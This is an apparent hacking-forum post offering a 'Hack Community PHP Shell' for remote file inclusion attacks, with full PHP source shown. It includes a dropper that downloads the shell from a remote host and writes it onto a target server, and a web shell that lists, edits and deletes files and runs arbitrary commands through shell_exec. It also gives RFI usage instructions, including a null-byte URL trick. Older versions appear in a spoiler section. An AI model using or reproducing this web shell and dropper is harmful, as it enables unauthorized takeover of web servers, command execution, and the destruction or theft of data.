<a href="http://postimage.org/gxlgqllo7/v2_1.png" target="_blank"><img src="http://s21.postimg.org/gxlgqllo7/v2_1.png" border="0" alt="[Image: v2_1.png]" /></a><a href="http://postimage.org/3xok6mma5/v2_2.png" target="_blank"><img src="http://s12.postimg.org/3xok6mma5/v2_2.png" border="0" alt="[Image: v2_2.png]" /></a><a href="http://postimage.org/w8zcy1eyz/v2_3.png" target="_blank"><img src="http://s23.postimg.org/w8zcy1eyz/v2_3.png" border="0" alt="[Image: v2_3.png]" /></a><br />
<br />
<br />
Here is the source code for the dropper (<a href="http://static_cast.home.comcast.net/~static_cast/shell/v2/dropper.txt)" target="_blank">http://static_cast.home.comcast.net/~sta...opper.txt)</a><br />
<div class="codeblock">
<div class="title">Code:<br />
</div><div class="body" dir="ltr"><code>&lt;?php<br />
&#36;shellg = file_get_contents('http://static_cast.home.comcast.net/shell/v2/hc_shell.txt');<br />
<br />
mkdir("shell/", 0700);<br />
&#36;shellp = 'shell/hc_shell.php';<br />
<br />
file_put_contents(&#36;shellp, &#36;shellg);<br />
header("Location: " . &#36;shellp);<br />
?&gt;</code></div></div>
<br />
And for hc_shell.php:<br />
<div class="codeblock">
<div class="title">Code:<br />
</div><div class="body" dir="ltr"><code>&lt;!--PHP FUNCS BELOW--&gt;<br />
&lt;!--PHP FUNCS BELOW--&gt;<br />
&lt;!--PHP FUNCS BELOW--&gt;<br />
&lt;?php<br />
//EDIT BELOW!!<br />
&#36;shell_file = "hc_shell.php";<br />
&#36;style_file = "style.css";<br />
//EDIT ABOVE!!<br />
<br />
function ls(&#36;directory)<br />
 {<br />
 if(!&#36;directory)<br />
&nbsp;&nbsp;&#36;directory = '.';<br />
<br />
 if(&#36;handle = opendir(&#36;directory))<br />
&nbsp;&nbsp;{<br />
&nbsp;&nbsp;while(false !== (&#36;entry = readdir(&#36;handle)))<br />
&nbsp;&nbsp; {<br />
&nbsp;&nbsp; if(&#36;entry != &#36;shell_file &amp;&amp; &#36;entry != &#36;style_file)<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;if(is_dir(&#36;directory . '/' . &#36;entry))<br />
&nbsp;&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp; if(&#36;entry == "." || &#36;entry == "..")<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo "[Delete] &lt;a href='&#36;shell_file?choice=ls&amp;dir=&#36;directory/&#36;entry'&gt;&#36;entry&lt;/a&gt;&lt;br /&gt;";<br />
&nbsp;&nbsp;&nbsp;&nbsp; else<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo "[&lt;a href='&#36;shell_file?choice=rmdir&amp;dir=&#36;directory'&gt;Delete&lt;/a&gt;] &lt;a href='&#36;shell_file?choice=ls&amp;dir=&#36;directory/&#36;entry'&gt;&#36;entry&lt;/a&gt;&lt;br /&gt;";<br />
&nbsp;&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp;&nbsp;else<br />
&nbsp;&nbsp;&nbsp;&nbsp; echo "[&lt;a href='&#36;shell_file?choice=rm&amp;dir=&#36;directory&amp;file=&#36;directory/&#36;entry'&gt;Delete&lt;/a&gt;] &lt;a href='&#36;shell_file?choice=read&amp;dir=&#36;directory&amp;file=&#36;directory/&#36;entry'&gt;&#36;entry&lt;/a&gt;&lt;br /&gt;";<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp; }<br />
&nbsp;&nbsp;closedir(&#36;handle);<br />
&nbsp;&nbsp;}<br />
 }<br />
<br />
function read(&#36;file)<br />
 {<br />
 &#36;contents = file_get_contents(&#36;file);<br />
<br />
 &#36;contents = str_replace("&lt;/textarea&gt;", "&lt;./textarea&gt;", &#36;contents);<br />
 &#36;contents = str_replace("&lt;textarea&gt;", "&lt;.textarea&gt;", &#36;contents);<br />
<br />
 echo &#36;contents . "&#92;n";<br />
 }<br />
<br />
function save(&#36;file, &#36;contents, &#36;delete)<br />
 {<br />
 if(isset(&#36;delete))<br />
&nbsp;&nbsp;rm(&#36;file);<br />
 else<br />
&nbsp;&nbsp;{<br />
&nbsp;&nbsp;if(file_put_contents(&#36;file, &#36;contents))<br />
&nbsp;&nbsp; showMessage("Write success.");<br />
&nbsp;&nbsp;else<br />
&nbsp;&nbsp; showMessage("Write fail.");<br />
&nbsp;&nbsp;}<br />
 }<br />
<br />
function rmdirectory(&#36;dir)<br />
 {<br />
 &#36;files = glob(&#36;dir . '*', GLOB_MARK);<br />
<br />
 foreach(&#36;files as &#36;file)<br />
&nbsp;&nbsp;{<br />
&nbsp;&nbsp;if(substr(&#36;file, -1) == '/')<br />
&nbsp;&nbsp; delTree(&#36;file);<br />
&nbsp;&nbsp;else<br />
&nbsp;&nbsp; unlink(&#36;file);<br />
&nbsp;&nbsp;}<br />
<br />
 if(rmdir(&#36;dir))<br />
&nbsp;&nbsp;showMessage("Delete success.");<br />
 else<br />
&nbsp;&nbsp;showMessage("Delete fail.");<br />
 }<br />
<br />
function rm(&#36;file)<br />
 {<br />
 if(unlink(&#36;file))<br />
&nbsp;&nbsp;showMessage("Delete success.");<br />
 else<br />
&nbsp;&nbsp;showMessage("Delete fail.");<br />
 }<br />
<br />
function create(&#36;file, &#36;isdir)<br />
 {<br />
 if(&#36;isdir)<br />
&nbsp;&nbsp;{<br />
&nbsp;&nbsp;if(mkdir(&#36;file))<br />
&nbsp;&nbsp; showMessage("Create success.");<br />
&nbsp;&nbsp;else<br />
&nbsp;&nbsp; showMessage("Create fail.");<br />
&nbsp;&nbsp;}<br />
 else<br />
&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&#36;filestream = fopen(&#36;file, 'w');<br />
<br />
&nbsp;&nbsp;if(&#36;filestream)<br />
&nbsp;&nbsp; showMessage("Create success.");<br />
&nbsp;&nbsp;else<br />
&nbsp;&nbsp; showMessage("Create fail.");<br />
<br />
&nbsp;&nbsp;fclose(&#36;filestream);<br />
&nbsp;&nbsp;}<br />
 }<br />
<br />
function execute(&#36;command)<br />
 {<br />
 &#36;output = shell_exec(&#36;command);<br />
 echo "COMMAND OUTPUT&#92;n--------------&#92;n&#92;n" . &#36;output;<br />
 }<br />
<br />
function showMessage(&#36;message)<br />
 {<br />
 echo "&lt;script&gt;alert('" . &#36;message . "');&lt;/script&gt;";<br />
 }<br />
?&gt;<br />
<br />
<br />
<br />
<br />
<br />
<br />
&lt;!--MAIN PHP&nbsp;&nbsp;BELOW--&gt;<br />
&lt;!--MAIN PHP&nbsp;&nbsp;BELOW--&gt;<br />
&lt;!--MAIN PHP&nbsp;&nbsp;BELOW--&gt;<br />
&lt;?php<br />
&#36;shell_file = "hc_shell.php";<br />
&#36;choice = &#36;_GET['choice'];<br />
<br />
if(&#36;choice == "ls" || &#36;choice == "read" || &#36;choice == "save" || &#36;choice == "rmdir" || &#36;choice == "rm" || &#36;choice == "create" || &#36;choice == "execute")<br />
 {<br />
 &#36;dir = &#36;_GET['dir'];<br />
 &#36;file = &#36;_GET['file'];<br />
 &#36;command = &#36;_GET['command'];<br />
<br />
 if(!&#36;dir)<br />
&nbsp;&nbsp;&#36;dir = '.';<br />
 }<br />
<br />
if(isset(&#36;_POST['save']))<br />
 {<br />
 &#36;contents = &#36;_POST['contents'];<br />
 &#36;delete = &#36;_POST['delete'];<br />
 save(&#36;file, &#36;contents, &#36;delete);<br />
 }<br />
<br />
if(&#36;choice == "create")<br />
 {<br />
 if(isset(&#36;_GET['is_directory']))<br />
&nbsp;&nbsp;create(&#36;file, true);<br />
 else<br />
&nbsp;&nbsp;create(&#36;file, false);<br />
 }<br />
<br />
if(&#36;choice == "rmdir")<br />
 rmdirectory(&#36;dir);<br />
else if(&#36;choice == "rm")<br />
 rm(&#36;file);<br />
?&gt;<br />
<br />
<br />
<br />
<br />
<br />
<br />
&lt;!--STYLESHEET BELOW--&gt;<br />
&lt;!--STYLESHEET BELOW--&gt;<br />
&lt;!--STYLESHEET BELOW--&gt;<br />
&lt;style&gt;<br />
body<br />
 {<br />
 background-image: url('http://i.imgur.com/l9LtNzl.png');<br />
 color: white;<br />
 }<br />
<br />
#contents<br />
 {<br />
 background-color: #333;<br />
 color: white;<br />
 width: 60%;<br />
 height: 85%;<br />
 float: left;<br />
 }<br />
<br />
#contentsText<br />
 {<br />
 background-color: #333;<br />
 color: white;<br />
 width: 100%;<br />
 height: 100%;<br />
 float: left;<br />
 }<br />
<br />
#browser<br />
 {<br />
 background-color: #333;<br />
 color: white; width: 40%;<br />
 height: 85%;<br />
 overflow: scroll;<br />
 float: left;<br />
 }<br />
<br />
<br />
<br />
a:link {color:#F00;}<br />
a:visited {color:#FF0;}<br />
a:hover {color:#FFF;}<br />
a:active {color:#F80;}<br />
&lt;/style&gt;<br />
<br />
<br />
<br />
<br />
<br />
<br />
&lt;!--HTML ##### BELOW--&gt;<br />
&lt;!--HTML ##### BELOW--&gt;<br />
&lt;!--HTML ##### BELOW--&gt;<br />
&lt;html&gt;<br />
 &lt;head&gt;<br />
&nbsp;&nbsp;&lt;title&gt;PHP Shell&lt;/title&gt;<br />
 &lt;/head&gt;<br />
 &lt;body&gt;<br />
&nbsp;&nbsp;&lt;div style="background-color: black; text-align: center"&gt;<br />
&nbsp;&nbsp; &lt;img src="http://static_cast.home.comcast.net/shell/hc_logo.png" alt="PHP Shell" /&gt;<br />
&nbsp;&nbsp;&lt;/div&gt;<br />
<br />
&nbsp;&nbsp;&lt;form id="contents" action="#" method="POST"&gt;<br />
<br />
&nbsp;&nbsp; &lt;textarea name="contents" id="contentsText"&gt;&lt;?php<br />
if(&#36;choice == "read" || &#36;choice == "save" || &#36;choice == "create")<br />
 read(&#36;file);<br />
if(&#36;choice == "save")<br />
 save(&#36;file);<br />
if(&#36;choice == "execute")<br />
 execute(&#36;command);<br />
?&gt;&lt;/textarea&gt;<br />
<br />
&nbsp;&nbsp; &lt;div style="background-color: black; position: relative; width: 100%; z-index: 0; margin-top: -23px; float: left;"&gt;&amp;nbsp;&lt;/div&gt;<br />
&nbsp;&nbsp; &lt;span style="position: relative; z-index: 1; margin-top: -23px; float: left"&gt;&lt;input type="checkbox" name="delete" /&gt;Delete this file&lt;/span&gt;<br />
&nbsp;&nbsp; &lt;input type="submit" name="save" value="save" style="position: relative; z-index: 1; margin-top: -25px; float: right" /&gt;<br />
&nbsp;&nbsp;&lt;/form&gt;<br />
<br />
&nbsp;&nbsp;&lt;div id="browser"&gt;<br />
&nbsp;&nbsp; &lt;div style="margin: 3px;"&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&lt;form action="&lt;?php echo &#36;shell_file; ?&gt;" method="GET" style="float: left"&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp; Starting Directory:&lt;br /&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp; &lt;input type="hidden" name="choice" value="ls" /&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp; &lt;input name="dir" value="." /&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp; &lt;input type="submit" value="Display" /&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&lt;/form&gt;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&lt;form action="&lt;?php echo &#36;shell_file; ?&gt;" method="GET"&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp; Create File:&lt;br /&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp; &lt;input type="hidden" name="choice" value="create" /&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp; &lt;input type="hidden" name="dir" value="&lt;?php echo &#36;dir; ?&gt;" /&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp; &lt;input name="file" value="file.txt" /&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp; &lt;input type="submit" value="Create" /&gt;&lt;br /&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp; &lt;input type="checkbox" name="is_directory" /&gt;Directory<br />
&nbsp;&nbsp;&nbsp;&nbsp;&lt;/form&gt;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&lt;form action="&lt;?php echo &#36;shell_file; ?&gt;" method="GET" style="clear: left"&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp; Execute Command:&lt;br /&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp; &lt;input type="hidden" name="choice" value="execute" /&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp; &lt;input type="hidden" name="dir" value="&lt;?php echo &#36;dir; ?&gt;" /&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp; &lt;input name="command" /&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp; &lt;input type="submit" value="Execute" /&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&lt;/form&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&lt;hr /&gt;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&lt;?php<br />
&nbsp;&nbsp;&nbsp;&nbsp;if(&#36;choice == "ls" || &#36;choice == "read" || &#36;choice == "save" || &#36;choice == "rmdir" || &#36;choice == "rm" || &#36;choice == "create" || &#36;choice == "execute")<br />
&nbsp;&nbsp;&nbsp;&nbsp; ls(&#36;dir);<br />
&nbsp;&nbsp;&nbsp;&nbsp;?&gt;<br />
<br />
&nbsp;&nbsp; &lt;/div&gt;<br />
&nbsp;&nbsp;&lt;/div&gt;<br />
<br />
 &lt;/body&gt;<br />
&lt;/html&gt;</code></div></div>
<br />
Version Updates:<br />
Version 2.2:<br />
Fixed dir reset upon deleting file.<br />
Version 2.1:<br />
Put all of the source into one file.<br />
Version 2.0:<br />
Major release, fixed and added features<br />
<br />
Below is the older 1.1 version...<br />
<div><div class="quote_header">Spoiler <a href="javascript:void(0);" onclick="javascript:if(parentNode.parentNode.getElementsByTagName('div')[1].style.display=='block'){parentNode.parentNode.getElementsByTagName('div')[1].style.display='none';this.innerHTML='<button>Click to View</button>';}else {parentNode.parentNode.getElementsByTagName('div')[1].style.display='block';this.innerHTML='<button>Click to Hide</button>';}"><button>Click to View</button></a></div><div class="quote_body" style="display: none;">Screenshots:<br />
<a href="http://s7.postimg.org/lvfcx42mz/shell.png" target="_blank">http://s7.postimg.org/lvfcx42mz/shell.png</a><br />
<a href="http://s21.postimg.org/48r7ugkbr/example1.png" target="_blank">http://s21.postimg.org/48r7ugkbr/example1.png</a><br />
<a href="http://s8.postimg.org/enpgblm5x/example2.png" target="_blank">http://s8.postimg.org/enpgblm5x/example2.png</a><br />
<a href="http://postimg.org/image/m86r3akwn/" target="_blank"><img src="http://s7.postimg.org/m86r3akwn/shell.jpg" border="0" alt="[Image: shell.jpg]" /></a><br />
<a href="http://postimg.org/image/eitmtpa77/" target="_blank"><img src="http://s21.postimg.org/eitmtpa77/example1.jpg" border="0" alt="[Image: example1.jpg]" /></a><br />
<a href="http://postimg.org/image/jmcyq4pyp/" target="_blank"><img src="http://s8.postimg.org/jmcyq4pyp/example2.jpg" border="0" alt="[Image: example2.jpg]" /></a><br />
<br />
<span style="font-size: x-large;"><span style="font-weight: bold;">Hack Community PHP Shell</span></span><br />
<br />
This is a PHP Shell for RFI attacks or for own personal use. [e.g. web.com?page=http://static_cast.home.comcast.net/~static_cast/shell/dropper.txt]<br />
Here is the source code:<br />
<br />
Version 1.1<br />
<br />
dropper.txt !!IMPORTANT.  Sample upload: <a href="http://static_cast.home.comcast.net/~static_cast/shell/dropper.txt" target="_blank">http://static_cast.home.comcast.net/~sta...ropper.txt</a><br />
<div class="codeblock">
<div class="title">Code:<br />
</div><div class="body" dir="ltr"><code>&lt;?php<br />
//You can change these to your upload location...<br />
&#36;shellg = file_get_contents('http://static_cast.home.comcast.net/shell/hc_shell.txt');<br />
&#36;funcsg = file_get_contents('http://static_cast.home.comcast.net/shell/functions.txt');<br />
&#36;hcimgg = file_get_contents('http://static_cast.home.comcast.net/shell/hc_logo.txt');<br />
&#36;styleg = file_get_contents('http://static_cast.home.comcast.net/shell/style.txt');<br />
<br />
mkdir("/shell/", 0700);<br />
&#36;shellp = 'shell/hc_shell.php';<br />
&#36;funcsp = 'shell/functions.php';<br />
&#36;hcimgp = 'shell/hc_logo.png';<br />
&#36;stylep = 'shell/style.css';<br />
<br />
file_put_contents(&#36;shellp, &#36;shellg);<br />
file_put_contents(&#36;funcsp, &#36;funcsg);<br />
file_put_contents(&#36;hcimgp, &#36;hcimgg);<br />
file_put_contents(&#36;stylep, &#36;styleg);<br />
?&gt;</code></div></div>
<br />
hc_shell.php<br />
<div class="codeblock">
<div class="title">Code:<br />
</div><div class="body" dir="ltr"><code>&lt;?php<br />
include("functions.php");<br />
<br />
//EDIT BELOW!!<br />
&#36;shell_file = "hc_shell.php";<br />
&#36;style_file = "style.css";<br />
&#36;logo_file&nbsp;&nbsp;= "hc_logo.png";<br />
//EDIT ABOVE!!<br />
<br />
&#36;choice = &#36;_GET['choice'];<br />
<br />
if(&#36;choice == "ls" || &#36;choice == "read" || &#36;choice == "save" || &#36;choice == "rmdir" || &#36;choice == "rm" || &#36;choice == "create")<br />
 {<br />
 &#36;dir = &#36;_GET['dir'];<br />
 &#36;file = &#36;_GET['file'];<br />
<br />
 if(!&#36;dir)<br />
&nbsp;&nbsp;&#36;dir = '.';<br />
 }<br />
<br />
if(isset(&#36;_POST['save']))<br />
 {<br />
 &#36;contents = &#36;_POST['contents'];<br />
 &#36;delete = &#36;_POST['delete'];<br />
 save(&#36;file, &#36;contents, &#36;delete);<br />
 }<br />
<br />
if(&#36;choice == "create")<br />
 {<br />
 if(isset(&#36;_GET['is_directory']))<br />
&nbsp;&nbsp;create(&#36;file, true);<br />
 else<br />
&nbsp;&nbsp;create(&#36;file, false);<br />
 }<br />
<br />
if(&#36;choice == "rmdir")<br />
 rmdirectory(&#36;dir);<br />
else if(&#36;choice == "rm")<br />
 rm(&#36;file);<br />
?&gt;<br />
<br />
&lt;html&gt;<br />
 &lt;head&gt;<br />
&nbsp;&nbsp;&lt;title&gt;PHP Shell&lt;/title&gt;<br />
&nbsp;&nbsp;&lt;link rel="stylesheet" type="text/css" href="&lt;?php echo &#36;style_file; ?&gt;" /&gt;<br />
 &lt;/head&gt;<br />
 &lt;body&gt;<br />
&nbsp;&nbsp;&lt;div style="background-color: black; text-align: center"&gt;<br />
&nbsp;&nbsp; &lt;img src="&lt;?php echo &#36;logo_file; ?&gt;" alt="PHP Shell" /&gt;<br />
&nbsp;&nbsp;&lt;/div&gt;<br />
<br />
&nbsp;&nbsp;&lt;form id="contents" action="#" method="POST"&gt;<br />
<br />
&nbsp;&nbsp; &lt;textarea name="contents" id="contentsText"&gt;&lt;?php<br />
if(&#36;choice == "read" || &#36;choice == "save" || &#36;choice == "create")<br />
 read(&#36;file);<br />
if(&#36;choice == "save")<br />
 save(&#36;file);<br />
?&gt;&lt;/textarea&gt;<br />
<br />
&nbsp;&nbsp; &lt;div style="background-color: black; position: relative; width: 100%; z-index: 0; margin-top: -23px; float: left;"&gt;&amp;nbsp;&lt;/div&gt;<br />
&nbsp;&nbsp; &lt;span style="position: relative; z-index: 1; margin-top: -23px; float: left"&gt;&lt;input type="checkbox" name="delete" /&gt;Delete this file&lt;/span&gt;<br />
&nbsp;&nbsp; &lt;input type="submit" name="save" value="save" style="position: relative; z-index: 1; margin-top: -25px; float: right" /&gt;<br />
&nbsp;&nbsp;&lt;/form&gt;<br />
<br />
&nbsp;&nbsp;&lt;div id="browser"&gt;<br />
&nbsp;&nbsp; &lt;div style="margin: 3px;"&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&lt;form action="&lt;?php echo &#36;shell_file; ?&gt;" method="GET"&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp; Starting Directory:&lt;br /&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp; &lt;input type="hidden" name="choice" value="ls" /&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp; &lt;input name="dir" value="." /&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp; &lt;input type="submit" value="Display" /&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&lt;/form&gt;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&lt;form action="&lt;?php echo &#36;shell_file; ?&gt;" method="GET"&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp; Create File:&lt;br /&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp; &lt;input type="hidden" name="choice" value="create" /&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp; &lt;input type="hidden" name="dir" value="&lt;?php echo &#36;dir; ?&gt;" /&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp; &lt;input name="file" value="file.txt" /&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp; &lt;input type="submit" value="Create" /&gt;&lt;br /&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp; &lt;input type="checkbox" name="is_directory" /&gt;Directory<br />
&nbsp;&nbsp;&nbsp;&nbsp;&lt;/form&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&lt;hr /&gt;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&lt;?php<br />
&nbsp;&nbsp;&nbsp;&nbsp;if(&#36;choice == "ls" || &#36;choice == "read" || &#36;choice == "save" || &#36;choice == "rmdir" || &#36;choice == "rm" || &#36;choice == "create")<br />
&nbsp;&nbsp;&nbsp;&nbsp; ls(&#36;dir);<br />
&nbsp;&nbsp;&nbsp;&nbsp;?&gt;<br />
<br />
&nbsp;&nbsp; &lt;/div&gt;<br />
&nbsp;&nbsp;&lt;/div&gt;<br />
<br />
 &lt;/body&gt;<br />
&lt;/html&gt;</code></div></div>
<br />
functions.php<br />
<div class="codeblock">
<div class="title">Code:<br />
</div><div class="body" dir="ltr"><code>&lt;?php<br />
//EDIT BELOW!!<br />
&#36;shell_file = "hc_shell.php";<br />
&#36;style_file = "style.css";<br />
//EDIT ABOVE!!<br />
<br />
function ls(&#36;directory)<br />
 {<br />
 if(!&#36;directory)<br />
&nbsp;&nbsp;&#36;directory = '.';<br />
<br />
 if(&#36;handle = opendir(&#36;directory))<br />
&nbsp;&nbsp;{<br />
&nbsp;&nbsp;while(false !== (&#36;entry = readdir(&#36;handle)))<br />
&nbsp;&nbsp; {<br />
&nbsp;&nbsp; if(&#36;entry != &#36;shell_file &amp;&amp; &#36;entry != &#36;style_file)<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;if(is_dir(&#36;directory . '/' . &#36;entry))<br />
&nbsp;&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp; if(&#36;entry == "." || &#36;entry == "..")<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo "[Delete] &lt;a href='&#36;shell_file?choice=ls&amp;dir=&#36;directory/&#36;entry'&gt;&#36;entry&lt;/a&gt;&lt;br /&gt;";<br />
&nbsp;&nbsp;&nbsp;&nbsp; else<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo "[&lt;a href='&#36;shell_file?choice=rmdir&amp;dir=&#36;directory'&gt;Delete&lt;/a&gt;] &lt;a href='&#36;shell_file?choice=ls&amp;dir=&#36;directory/&#36;entry'&gt;&#36;entry&lt;/a&gt;&lt;br /&gt;";<br />
&nbsp;&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp;&nbsp;else<br />
&nbsp;&nbsp;&nbsp;&nbsp; echo "[&lt;a href='&#36;shell_file?choice=rm&amp;file=&#36;directory/&#36;entry'&gt;Delete&lt;/a&gt;] &lt;a href='&#36;shell_file?choice=read&amp;dir=&#36;directory&amp;file=&#36;directory/&#36;entry'&gt;&#36;entry&lt;/a&gt;&lt;br /&gt;";<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp; }<br />
&nbsp;&nbsp;closedir(&#36;handle);<br />
&nbsp;&nbsp;}<br />
 }<br />
<br />
function read(&#36;file)<br />
 {<br />
 &#36;contents = file_get_contents(&#36;file);<br />
<br />
 &#36;contents = str_replace("&lt;/textarea&gt;", "&lt;./textarea&gt;", &#36;contents);<br />
 &#36;contents = str_replace("&lt;textarea&gt;", "&lt;.textarea&gt;", &#36;contents);<br />
<br />
 echo &#36;contents . "&#92;n";<br />
 }<br />
<br />
function save(&#36;file, &#36;contents, &#36;delete)<br />
 {<br />
 if(isset(&#36;delete))<br />
&nbsp;&nbsp;rm(&#36;file);<br />
 else<br />
&nbsp;&nbsp;{<br />
&nbsp;&nbsp;if(file_put_contents(&#36;file, &#36;contents))<br />
&nbsp;&nbsp; showMessage("Write success.");<br />
&nbsp;&nbsp;else<br />
&nbsp;&nbsp; showMessage("Write fail.");<br />
&nbsp;&nbsp;}<br />
 }<br />
<br />
function rmdirectory(&#36;dir)<br />
 {<br />
 &#36;files = glob(&#36;dir . '*', GLOB_MARK);<br />
<br />
 foreach(&#36;files as &#36;file)<br />
&nbsp;&nbsp;{<br />
&nbsp;&nbsp;if(substr(&#36;file, -1) == '/')<br />
&nbsp;&nbsp; delTree(&#36;file);<br />
&nbsp;&nbsp;else<br />
&nbsp;&nbsp; unlink(&#36;file);<br />
&nbsp;&nbsp;}<br />
<br />
 if(rmdir(&#36;dir))<br />
&nbsp;&nbsp;showMessage("Delete success.");<br />
 else<br />
&nbsp;&nbsp;showMessage("Delete fail.");<br />
 }<br />
<br />
function rm(&#36;file)<br />
 {<br />
 if(unlink(&#36;file))<br />
&nbsp;&nbsp;showMessage("Delete success.");<br />
 else<br />
&nbsp;&nbsp;showMessage("Delete fail.");<br />
 }<br />
<br />
function create(&#36;file, &#36;isdir)<br />
 {<br />
 if(&#36;isdir)<br />
&nbsp;&nbsp;{<br />
&nbsp;&nbsp;if(mkdir(&#36;file))<br />
&nbsp;&nbsp; showMessage("Create success.");<br />
&nbsp;&nbsp;else<br />
&nbsp;&nbsp; showMessage("Create fail.");<br />
&nbsp;&nbsp;}<br />
 else<br />
&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&#36;filestream = fopen(&#36;file, 'w');<br />
<br />
&nbsp;&nbsp;if(&#36;filestream)<br />
&nbsp;&nbsp; showMessage("Create success.");<br />
&nbsp;&nbsp;else<br />
&nbsp;&nbsp; showMessage("Create fail.");<br />
<br />
&nbsp;&nbsp;fclose(&#36;filestream);<br />
&nbsp;&nbsp;}<br />
 }<br />
<br />
function showMessage(&#36;message)<br />
 {<br />
 echo "&lt;script&gt;alert('" . &#36;message . "');&lt;/script&gt;";<br />
 }<br />
?&gt;</code></div></div>
<br />
style.css<br />
<div class="codeblock">
<div class="title">Code:<br />
</div><div class="body" dir="ltr"><code>body<br />
 {<br />
 background-image: url('http://i.imgur.com/l9LtNzl.png');<br />
 color: white;<br />
 }<br />
<br />
#contents<br />
 {<br />
 background-color: #333;<br />
 color: white;<br />
 width: 60%;<br />
 height: 85%;<br />
 float: left;<br />
 }<br />
<br />
#contentsText<br />
 {<br />
 background-color: #333;<br />
 color: white;<br />
 width: 100%;<br />
 height: 100%;<br />
 float: left;<br />
 }<br />
<br />
#browser<br />
 {<br />
 background-color: #333;<br />
 color: white; width: 40%;<br />
 height: 85%;<br />
 overflow: scroll;<br />
 float: left;<br />
 }<br />
<br />
<br />
<br />
a:link {color:#F00;}<br />
a:visited {color:#FF0;}<br />
a:hover {color:#FFF;}<br />
a:active {color:#F80;}</code></div></div>
<hr />
[Reserved Post]<br />
Version number: 1.1<br />
<br />
I will later re-write to 2.0 where all the code is in one file. <img src="images/smilies/grin.gif" style="vertical-align: middle;" border="0" alt="Grin" title="Grin" /></div></div>]]></description>
			<content:encoded><![CDATA[<span style="font-size: x-large;">Hack Community PHP Shell</span><br />
<span style="font-size: large;">Version 2.2</span><br />
<br />
Hello Guest.<br />
I have written a PHP shell for the community's own use.  The following is the list of features:<br />
 - Display Directores<br />
 - Create+Edit Files<br />
 - Execute commands<br />
<br />
Dropper file can be found here:<br />
<a href="http://static_cast.home.comcast.net/~static_cast/shell/v2/dropper.txt" target="_blank">http://static_cast.home.comcast.net/~sta...ropper.txt</a><br />
[For those who don't know much about RFI, in order to use nullbye, you must add ? to .txt [ e.g. ?page=http://url.com/dropper.txt? ]<br />
<br />
Here are a few screenshots:<br />
<a href="http://postimage.org/gxlgqllo7/v2_1.png" target="_blank"><img src="http://s21.postimg.org/gxlgqllo7/v2_1.png" border="0" alt="[Image: v2_1.png]" /></a><a href="http://postimage.org/3xok6mma5/v2_2.png" target="_blank"><img src="http://s12.postimg.org/3xok6mma5/v2_2.png" border="0" alt="[Image: v2_2.png]" /></a><a href="http://postimage.org/w8zcy1eyz/v2_3.png" target="_blank"><img src="http://s23.postimg.org/w8zcy1eyz/v2_3.png" border="0" alt="[Image: v2_3.png]" /></a><br />
<br />
<br />
Here is the source code for the dropper (<a href="http://static_cast.home.comcast.net/~static_cast/shell/v2/dropper.txt)" target="_blank">http://static_cast.home.comcast.net/~sta...opper.txt)</a><br />
<div class="codeblock">
<div class="title">Code:<br />
</div><div class="body" dir="ltr"><code>&lt;?php<br />
&#36;shellg = file_get_contents('http://static_cast.home.comcast.net/shell/v2/hc_shell.txt');<br />
<br />
mkdir("shell/", 0700);<br />
&#36;shellp = 'shell/hc_shell.php';<br />
<br />
file_put_contents(&#36;shellp, &#36;shellg);<br />
header("Location: " . &#36;shellp);<br />
?&gt;</code></div></div>
<br />
And for hc_shell.php:<br />
<div class="codeblock">
<div class="title">Code:<br />
</div><div class="body" dir="ltr"><code>&lt;!--PHP FUNCS BELOW--&gt;<br />
&lt;!--PHP FUNCS BELOW--&gt;<br />
